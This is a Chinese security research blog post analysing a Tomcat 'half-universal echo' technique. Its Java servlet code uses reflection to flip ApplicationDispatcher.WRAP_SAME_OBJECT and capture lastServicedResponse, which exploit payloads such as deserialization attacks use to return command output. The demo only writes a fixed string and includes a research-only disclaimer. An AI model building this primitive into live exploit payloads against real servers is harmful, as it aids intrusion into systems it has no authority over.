扫一扫关注公众号,长期致力于安全研究
最近一直在看回显相关的东西,相当于是本人的笔记分享一下。如有误请及时指正~
2020年3月kingkk师傅提出一种基于调用栈中获取Response对象的方法,该方法主要是从ApplicationFilterChain中提取相关对象,因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显。
首先可以看到,在ApplicationFilterChain中,发现了存储request和response的变量
但在其对象中,有一个static方法调用,主要是对上方的的变量做初始化用,但断点分析可以发现,ApplicationDispatcher.WRAP_SAME_OBJECT为false,所以变量就会赋值为null。
所以的话整体思路如下:
1. 将ApplicationDispatcher.WRAP_SAME_OBJECT通过反射修改为true
2. 存储request和response的两个变量进行初始化(这里为什么初始化后面会将)
3.从lastServicedResponse获取response并最终进行回显内容
代码如下,其实是非常简单的。
public class Myservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
try{
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field RequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field ResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//取消Final属性
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()&~Modifier.FINAL);
modifiersField.setInt(RequestField,RequestField.getModifiers()&~Modifier.FINAL);
modifiersField.setInt(ResponseField,ResponseField.getModifiers()&~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
RequestField.setAccessible(true);
ResponseField.setAccessible(true);
//获取ServletRequest和ServletResponse 用作后面的回显
ThreadLocal<ServletRequest> requests = (ThreadLocal<ServletRequest>) RequestField.get(null);
ThreadLocal<ServletResponse> responses = (ThreadLocal<ServletResponse>) ResponseField.get(null);
//如果为null,则通过反射进行初始化
if(requests==null || responses==null){
WRAP_SAME_OBJECT_FIELD.set(null,true);
RequestField.set(null,new ThreadLocal<>());
ResponseField.set(null,new ThreadLocal<>());
}else{
responses.get().getWriter().write("By Met32");
}
}catch(Exception e){
e.printStackTrace();
}
}
}
断点跟一下,在初始化之后,是有一处判断。如果未初始化这两个变量的话,那么肯定会是刚开始的null。所以在进行调用set的时候,就会造成异常
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}
那么来验证一下,首先将set进行注释
可以看到是为null的
最终效果如下
为什么说是半回显呢,因为在shiro反序列化中,这个方法是行不通的。
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):Tomcat半通用回显分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论